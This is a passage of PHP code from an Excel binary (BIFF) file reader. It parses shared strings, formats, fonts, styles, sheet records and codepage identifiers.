( ($optionFlags & 0x04) != 0); // Asian phonetic\n\t\t\t\t\t\t// bit: 3; mask: 0x03; 0 = ordinary; 1 = Rich-Text\n\t\t\t\t\t\t$richString = ( ($optionFlags & 0x08) != 0);\n\t\t\t\t\t\tif ($richString) { // Read in the crun\n\t\t\t\t\t\t\t// number of Rich-Text formatting runs\n\t\t\t\t\t\t\t$formattingRuns = ord($this->_data[$spos]) | (ord($this->_data[$spos + 1]) << 8);\n\t\t\t\t\t\t\t$spos += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($extendedString) {\n\t\t\t\t\t\t\t// size of Asian phonetic setting\n\t\t\t\t\t\t\t$extendedRunLength = $this->_GetInt4d($this->_data, $spos);\n\t\t\t\t\t\t\t$spos += 4;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// read in the characters\n\t\t\t\t\t\t$len = ($asciiEncoding) ? $numChars : $numChars * 2;\n\t\t\t\t\t\tif ($spos + $len < $limitpos) {\n\t\t\t\t\t\t\t$retstr = substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t$spos += $len;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// found countinue record\n\t\t\t\t\t\t\t$retstr = substr($this->_data, $spos, $limitpos - $spos);\n\t\t\t\t\t\t\t$bytesRead = $limitpos - $spos;\n\t\t\t\t\t\t\t// remaining characters in Unicode string\n\t\t\t\t\t\t\t$charsLeft = $numChars - (($asciiEncoding) ? $bytesRead : ($bytesRead / 2));\n\t\t\t\t\t\t\t$spos = $limitpos;\n\t\t\t\t\t\t\t// keep reading the characters\n\t\t\t\t\t\t\twhile ($charsLeft > 0) {\n\t\t\t\t\t\t\t\t// record data \n\t\t\t\t\t\t\t\t$opcode = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// length of continue record data\n\t\t\t\t\t\t\t\t$conlength = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t\t\tif ($opcode != self::XLS_Type_CONTINUE) {\n\t\t\t\t\t\t\t\t\t// broken file, something is wrong\n\t\t\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$spos += 4;\n\t\t\t\t\t\t\t\t$limitpos = $spos + $conlength;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// option flags are repeated when Unicode string is split by a continue record\n\t\t\t\t\t\t\t\t// OpenOffice.org documentation 5.21\n\t\t\t\t\t\t\t\t$option = ord($this->_data[$spos]);\n\t\t\t\t\t\t\t\t$spos += 1;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ($asciiEncoding && ($option == 0)) {\n\t\t\t\t\t\t\t\t\t// 1st fragment compressed\n\t\t\t\t\t\t\t\t\t// this fragment compressed\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\t$retstr .= substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = true;\n\n\t\t\t\t\t\t\t\t} elseif (!$asciiEncoding && ($option != 0)) {\n\t\t\t\t\t\t\t\t\t// 1st fragment uncompressed\n\t\t\t\t\t\t\t\t\t// this fragment uncompressed\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft * 2, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\t$retstr .= substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len/2;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = false;\n\n\t\t\t\t\t\t\t\t} elseif (!$asciiEncoding && ($option == 0)) {\n\t\t\t\t\t\t\t\t\t// 1st fragment uncompressed\n\t\t\t\t\t\t\t\t\t// this fragment compressed\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\tfor ($j = 0; $j < $len; $j++) {\n\t\t\t\t\t\t\t\t\t\t$retstr .= $this->_data[$spos + $j].chr(0);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = false;\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t// 1st fragment compressed\n\t\t\t\t\t\t\t\t\t// this fragment uncompressed\n\t\t\t\t\t\t\t\t\t$newstr = '';\n\t\t\t\t\t\t\t\t\tfor ($j = 0; $j < strlen($retstr); $j++) {\n\t\t\t\t\t\t\t\t\t\t$newstr = $retstr[$j].chr(0);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$retstr = $newstr;\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft * 2, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\t$retstr .= substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len/2;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$spos += $len;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//$retstr = ($asciiEncoding) ?\n\t\t\t\t\t\t//\t$retstr : $this->_encodeUTF16($retstr);\n\t\t\t\t\t\t// convert string according codepage and BIFF version\n\n\t\t\t\t\t\tif($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t\t$retstr = $this->_encodeUTF16($retstr, $asciiEncoding);\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// SST only occurs in BIFF8, so why this part? \n\t\t\t\t\t\t\t$retstr = $this->_decodeCodepage($retstr);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$fmtRuns = array();\n\t\t\t\t\t\tif ($richString) {\n\t\t\t\t\t\t\t// list of formatting runs\n\t\t\t\t\t\t\tfor ($j = 0; $j < $formattingRuns; $j++) {\n\t\t\t\t\t\t\t\t// first formatted character; zero-based\n\t\t\t\t\t\t\t\t$charPos = $this->_getInt2d($this->_data, $spos + $j * 4);\n\t\t\t\t\t\t\t\t// index to font record\n\t\t\t\t\t\t\t\t$fontIndex = $this->_getInt2d($this->_data, $spos + 2 + $j * 4);\n\t\t\t\t\t\t\t\t$fmtRuns[] = array(\n\t\t\t\t\t\t\t\t\t'charPos' => $charPos,\n\t\t\t\t\t\t\t\t\t'fontIndex' => $fontIndex,\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$spos += 4 * $formattingRuns;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($extendedString) {\n\t\t\t\t\t\t\t// For Asian phonetic settings, we skip the extended string data\n\t\t\t\t\t\t\t$spos += $extendedRunLength;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->_sst[] = array(\n\t\t\t\t\t\t\t'value' => $retstr,\n\t\t\t\t\t\t\t'fmtRuns' => $fmtRuns,\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_FILEPASS:\n\t\t\t\t\t/**\n\t\t\t\t\t * SHEETPROTECTION\n\t\t\t\t\t *\n\t\t\t\t\t * This record is part of the File Protection Block. It\n\t\t\t\t\t * contains information about the read/write password of the\n\t\t\t\t\t * file. All record contents following this record will be\n\t\t\t\t\t * encrypted.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_EXTERNALBOOK:\n\t\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase self::XLS_Type_EXTSHEET:\n\t\t\t\t\t// external sheet references provided for named cells\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t$xpos = $pos + 4;\n\t\t\t\t\t\t$xcnt = ord($this->_data[$xpos]) | ord($this->_data[$xpos + 1]) << 8;\n\t\t\t\t\t\tfor ($x = 0; $x < $xcnt; $x++) {\n\t\t\t\t\t\t\t$this->_extshref[$x] = ord($this->_data[$xpos + 4 + 6*$x]) |\n\t\t\t\t\t\t\t\tord($this->_data[$xpos + 5 + 6*$x]) << 8;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// this if statement is going to replace the above one later\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t// offset: 0; size: 2; number of following ref structures\n\t\t\t\t\t\t$nm = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\tfor ($i = 0; $i < $nm; $i++) {\n\t\t\t\t\t\t\t$this->_ref[] = array(\n\t\t\t\t\t\t\t\t// offset: 2 + 6 * $i; index to EXTERNALBOOK record\n\t\t\t\t\t\t\t\t'externalBookIndex' => $this->_getInt2d($recordData, 2 + 6 * $i),\n\t\t\t\t\t\t\t\t// offset: 4 + 6 * $i; index to first sheet in EXTERNALBOOK record\n\t\t\t\t\t\t\t\t'firstSheetIndex' => $this->_getInt2d($recordData, 4 + 6 * $i),\n\t\t\t\t\t\t\t\t// offset: 6 + 6 * $i; index to last sheet in EXTERNALBOOK record\n\t\t\t\t\t\t\t\t'lastSheetIndex' => $this->_getInt2d($recordData, 6 + 6 * $i),\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_NAME:\n\t\t\t\t\t/**\n\t\t\t\t\t * DEFINEDNAME\n\t\t\t\t\t *\n\t\t\t\t\t * This record is part of a Link Table. It contains the name\n\t\t\t\t\t * and the token array of an internal defined name. Token\n\t\t\t\t\t * arrays of defined names contain tokens with aberrant\n\t\t\t\t\t * token classes.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t// retrieves named cells\n\t\t\t\t\t$npos = $pos + 4;\n\t\t\t\t\t$opts = ord($this->_data[$npos]) | ord($this->_data[$npos + 1]) << 8;\n\t\t\t\t\t$nlen = ord($this->_data[$npos + 3]);\n\t\t\t\t\t$flen = ord($this->_data[$npos + 4]) | ord($this->_data[$npos + 5]) << 8;\n\t\t\t\t\t$fpos = $npos + 14 + 1 + $nlen;\n\t\t\t\t\t$nstr = substr($this->_data, $npos + 15, $nlen);\n\t\t\t\t\t$ftoken = ord($this->_data[$fpos]);\n\t\t\t\t\tif ($ftoken == 58 && $opts == 0 && $flen == 7) {\n\t\t\t\t\t\t$xref = ord($this->_data[$fpos + 1]) | ord($this->_data[$fpos + 2]) << 8;\n\t\t\t\t\t\t$frow = ord($this->_data[$fpos + 3]) | ord($this->_data[$fpos + 4]) << 8;\n\t\t\t\t\t\t$fcol = ord($this->_data[$fpos + 5]);\n\t\t\t\t\t\tif (array_key_exists($xref,$this->_extshref)) {\n\t\t\t\t\t\t\t$fsheet = $this->_extshref[$xref];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$fsheet = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->_namedcells[$nstr] = array(\n\t\t\t\t\t\t\t'sheet' => $fsheet,\n\t\t\t\t\t\t\t'row' => $frow,\n\t\t\t\t\t\t\t'column' => $fcol\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_FORMAT:\n\t\t\t\t\t/**\n\t\t\t\t\t * FORMAT\n\t\t\t\t\t *\n\t\t\t\t\t * This record contains information about a number format.\n\t\t\t\t\t * All FORMAT records occur together in a sequential list.\n\t\t\t\t\t *\n\t\t\t\t\t * In BIFF2-BIFF4 other records referencing a FORMAT record\n\t\t\t\t\t * contain a zero-based index into this list. From BIFF5 on\n\t\t\t\t\t * the FORMAT record contains the index itself that will be\n\t\t\t\t\t * used by other records.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t//$indexCode = ord($this->_data[$pos + 4]) | ord($this->_data[$pos + 5]) << 8;\n\t\t\t\t\t$indexCode = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t*/\n\t\t\t\t\t\t$formatString = $this->_readUnicodeStringLong(substr($recordData, 2));\n\t\t\t\t\t/*\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$numchars = ord($this->_data[$pos + 6]);\n\t\t\t\t\t\t$formatString = substr($this->_data, $pos + 7, $numchars*2);\n\t\t\t\t\t}\n\t\t\t\t\t*/\n\t\t\t\t\t$this->_formatRecords[$indexCode] = $formatString;\n\t\t\t\t\t\n\t\t\t\t\t// now also stored in array _format[]\n\t\t\t\t\t// _formatRecords[] will be removed from code later\n\t\t\t\t\t$this->_numberFormat[$indexCode] = $formatString;\n\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_FONT:\n\t\t\t\t\t/**\n\t\t\t\t\t * FONT\n\t\t\t\t\t */\n\t\t\t\t\t$this->_font[] = $this->_readFont($recordData);\n\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tcase self::XLS_Type_XF:\n\t\t\t\t\t/**\n\t\t\t\t\t * XF - Extended Format\n\t\t\t\t\t *\n\t\t\t\t\t * This record contains formatting information for cells,\n\t\t\t\t\t * rows, columns or styles.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$indexCode = ord($this->_data[$pos + 6]) | ord($this->_data[$pos + 7]) << 8;\n\t\t\t\t\tif (array_key_exists($indexCode, $this->_dateFormats)) {\n\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t'type' => 'date',\n\t\t\t\t\t\t\t'format' => $this->_dateFormats[$indexCode],\n\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t);\n\t\t\t\t\t} elseif (array_key_exists($indexCode, $this->_percentFormats)) {\n\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t'type' => 'percent',\n\t\t\t\t\t\t\t'format' => $this->_percentFormats[$indexCode],\n\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t);\n\t\t\t\t\t} elseif (array_key_exists($indexCode, $this->_numberFormats)) {\n\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t'type' => 'number',\n\t\t\t\t\t\t\t'format' => $this->_numberFormats[$indexCode],\n\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($indexCode > 0 && isset($this->_formatRecords[$indexCode])) {\n\t\t\t\t\t\t\t// custom formats...\n\t\t\t\t\t\t\t$formatstr = $this->_formatRecords[$indexCode];\n\t\t\t\t\t\t\tif ($formatstr) {\n\t\t\t\t\t\t\t\t// dvc: reg exp changed to custom date/time format chars\n\t\t\t\t\t\t\t\tif (preg_match(\"/^[hmsdy]/i\", $formatstr)) {\n\t\t\t\t\t\t\t\t\t// custom datetime format\n\t\t\t\t\t\t\t\t\t// dvc: convert Excel formats to PHP date formats\n\t\t\t\t\t\t\t\t\t// first remove escapes related to non-format characters\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('\\\\', '', $formatstr);\n\t\t\t\t\t\t\t\t\t// 4-digit year\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('yyyy', 'Y', $formatstr);\n\t\t\t\t\t\t\t\t\t// 2-digit year\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('yy', 'y', $formatstr);\n\t\t\t\t\t\t\t\t\t// first letter of month - no php equivalent\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mmmmm', 'M', $formatstr);\n\t\t\t\t\t\t\t\t\t// full month name\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mmmm', 'F', $formatstr);\n\t\t\t\t\t\t\t\t\t// short month name\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mmm', 'M', $formatstr);\n\t\t\t\t\t\t\t\t\t// mm is minutes if time or month w/leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace(':mm', ':i', $formatstr);\n\t\t\t\t\t\t\t\t\t// tmp place holder\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('mm', 'x', $formatstr);\n\t\t\t\t\t\t\t\t\t// month no leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('m', 'n', $formatstr);\n\t\t\t\t\t\t\t\t\t// month leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('x', 'm', $formatstr);\n\t\t\t\t\t\t\t\t\t// 12-hour suffix\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('AM/PM', 'A', $formatstr);\n\t\t\t\t\t\t\t\t\t// tmp place holder\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('dd', 'x', $formatstr);\n\t\t\t\t\t\t\t\t\t// days no leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('d', 'j', $formatstr);\n\t\t\t\t\t\t\t\t\t// days leading zero\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('x', 'd', $formatstr);\n\t\t\t\t\t\t\t\t\t// seconds\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('ss', 's', $formatstr);\n\t\t\t\t\t\t\t\t\t// fractional seconds - no php equivalent\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace('.S', '', $formatstr);\n\t\t\t\t\t\t\t\t\tif (! strpos($formatstr,'A')) { // 24-hour format\n\t\t\t\t\t\t\t\t\t\t$formatstr = str_replace('h', 'H', $formatstr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// user defined flag symbol????\n\t\t\t\t\t\t\t\t\t$formatstr = str_replace(';@', '', $formatstr);\n\t\t\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t\t\t'type' => 'date',\n\t\t\t\t\t\t\t\t\t\t'format' => $formatstr,\n\t\t\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// dvc: new code for custom percent formats\n\t\t\t\t\t\t\t\telse if (preg_match('/%$/', $formatstr)) { // % number format\n\t\t\t\t\t\t\t\t\tif (preg_match('/\\.[#0]+/i',$formatstr,$m)) {\n\t\t\t\t\t\t\t\t\t\t$s = substr($m[0],0,1).(strlen($m[0])-1);\n\t\t\t\t\t\t\t\t\t\t$formatstr = str_replace($m[0],$s,$formatstr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (preg_match('/^[#0]+/',$formatstr,$m)) {\n\t\t\t\t\t\t\t\t\t\t$formatstr = str_replace($m[0],strlen($m[0]),$formatstr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$formatstr = '%' . str_replace('%',\"f%%\",$formatstr);\n\t\t\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t\t\t'type' => 'percent',\n\t\t\t\t\t\t\t\t\t\t'format' => $formatstr,\n\t\t\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// dvc: code for other unknown formats\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t// dvc: changed to add format to unknown for debug\n\t\t\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t\t\t'type' => 'other',\n\t\t\t\t\t\t\t\t\t\t'format' => $this->_defaultFormat,\n\t\t\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// dvc: changed to add format to unknown for debug\n\t\t\t\t\t\t\tif (isset($this->_formatRecords[$indexCode])) {\n\t\t\t\t\t\t\t\t$formatstr = $this->_formatRecords[$indexCode];\n\t\t\t\t\t\t\t\t$type = 'undefined';\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$formatstr = $this->_defaultFormat;\n\t\t\t\t\t\t\t\t$type = 'default';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t\t'type' => $type,\n\t\t\t\t\t\t\t\t'format' => $formatstr,\n\t\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// store styles in xf array\n\t\t\t\t\t$this->_xf[] = $this->_readBIFF8Style($recordData);\n\t\t\t\t\t\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_NINETEENFOUR:\n\t\t\t\t\t/**\n\t\t\t\t\t * DATEMODE\n\t\t\t\t\t *\n\t\t\t\t\t * This record specifies the base date for displaying date\n\t\t\t\t\t * values. All dates are stored as count of days past this\n\t\t\t\t\t * base date. In BIFF2-BIFF4 this record is part of the\n\t\t\t\t\t * Calculation Settings Block. In BIFF5-BIFF8 it is\n\t\t\t\t\t * stored in the Workbook Globals Substream.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$this->_nineteenFour = (ord($this->_data[$pos + 4]) == 1);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\tif (ord($this->_data[$pos + 4]) == 1) {\n\t\t\t\t\t\tPHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_MAC_1904);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tPHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_WINDOWS_1900);\n\t\t\t\t\t}\n\t\t\t\t\t*/\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_BOUNDSHEET:\n\t\t\t\t\t/**\n\t\t\t\t\t * SHEET\n\t\t\t\t\t *\n\t\t\t\t\t * This record is located in the Workbook Globals\n\t\t\t\t\t * Substream and represents a sheet inside the workbook.\n\t\t\t\t\t * One SHEET record is written for each sheet. It stores the\n\t\t\t\t\t * sheet name and a stream offset to the BOF record of the\n\t\t\t\t\t * respective Sheet Substream within the Workbook Stream.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$rec_offset = $this->_GetInt4d($this->_data, $pos + 4);\n\t\t\t\t\t$rec_typeFlag = ord($this->_data[$pos + 8]);\n\t\t\t\t\t$rec_visibilityFlag = ord($this->_data[$pos + 9]);\n\t\t\t\t\t$rec_length = ord($this->_data[$pos + 10]);\n\n\n\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t$compressedUTF16 = ((ord($this->_data[$pos + 11]) & 0x01) == 0);\n\t\t\t\t\t\t$rec_length = ($compressedUTF16) ? $rec_length : $rec_length*2;\n\t\t\t\t\t\t$rec_name = $this->_encodeUTF16(substr($this->_data, $pos + 12, $rec_length), $compressedUTF16);\n\t\t\t\t\t} elseif ($version == self::XLS_BIFF7) {\n\t\t\t\t\t\t$rec_name\t\t= substr($this->_data, $pos + 11, $rec_length);\n\t\t\t\t\t}\n\t\t\t\t\t$this->_boundsheets[] = array(\n\t\t\t\t\t\t'name' => $rec_name,\n\t\t\t\t\t\t'offset' => $rec_offset\n\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_CODEPAGE:\n\t\t\t\t\t/**\n\t\t\t\t\t * CODEPAGE\n\t\t\t\t\t *\n\t\t\t\t\t * This record stores the text encoding used to write byte\n\t\t\t\t\t * strings, stored as MS Windows code page identifier.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$codepage = $this->_GetInt2d($this->_data, $pos + 4);\n\t\t\t\t\tswitch($codepage) {\n\t\t\t\t\t\tcase 367: // ASCII\n\t\t\t\t\t\t\t$this->_codepage =\"ASCII\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 437: //OEM US\n\t\t\t\t\t\t\t$this->_codepage =\"CP437\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 720: //OEM Arabic\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 737: //OEM Greek\n\t\t\t\t\t\t\t$this->_codepage =\"CP737\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 775: //OEM Baltic\n\t\t\t\t\t\t\t$this->_codepage =\"CP775\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 850: //OEM Latin I\n\t\t\t\t\t\t\t$this->_codepage =\"CP850\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 852: //OEM Latin II (Central European)\n\t\t\t\t\t\t\t$this->_codepage =\"CP852\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 855: //OEM Cyrillic\n\t\t\t\t\t\t\t$this->_codepage =\"CP855\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 857: //OEM Turkish\n\t\t\t\t\t\t\t$this->_codepage =\"CP857\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 858: //OEM Multilingual Latin I with Euro\n\t\t\t\t\t\t\t$this->_codepage =\"CP858\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 860: //OEM Portugese\n\t\t\t\t\t\t\t$this->_codepage =\"CP860\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 861: //OEM Icelandic\n\t\t\t\t\t\t\t$this->_codepage =\"CP861\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 862: //OEM Hebrew\n\t\t\t\t\t\t\t$this->_codepage =\"CP862\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 863: //OEM Canadian (French)\n\t\t\t\t\t\t\t$this->_codepage =\"CP863\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 864: //OEM Arabic\n\t\t\t\t\t\t\t$this->_codepage =\"CP864\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 865: //OEM Nordic\n\t\t\t\t\t\t\t$this->_codepage =\"CP865\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 866: //OEM Cyrillic (Russian)\n\t\t\t\t\t\t\t$this->_codepage =\"CP866\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 869: //OEM Greek (Modern)\n\t\t\t\t\t\t\t$this->_codepage =\"CP869\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 874: //ANSI Thai\n\t\t\t\t\t\t\t$this->_codepage =\"CP874\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 932: //ANSI Japanese Shift-JIS\n\t\t\t\t\t\t\t$this->_codepage =\"CP932\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 936: //ANSI Chinese Simplified GBK\n\t\t\t\t\t\t\t$this->_codepage =\"CP936\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 949: //ANSI Korean (Wansung)\n\t\t\t\t\t\t\t$this->_codepage =\"CP949\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 950: //ANSI Chinese Traditional BIG5\n\t\t\t\t\t\t\t$this->_codepage =\"CP950\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1200: //UTF-16 (BIFF8)\n\t\t\t\t\t\t\t$this->_codepage =\"UTF-16LE\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1250:// ANSI Latin II (Central European)\n\t\t\t\t\t\t\t$this->_codepage =\"CP1250\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1251: //ANSI Cyrillic\n\t\t\t\t\t\t\t$this->_codepage =\"CP1251\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1252: //ANSI Latin I (BIFF4-BIFF7)\n\t\t\t\t\t\t\t$this->_codepage =\"CP1252\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1253: //ANSI Greek\n\t\t\t\t\t\t\t$this->_codepage =\"CP1253\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1254: //ANSI Turkish\n\t\t\t\t\t\t\t$this->_codepage =\"CP1254\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1255: 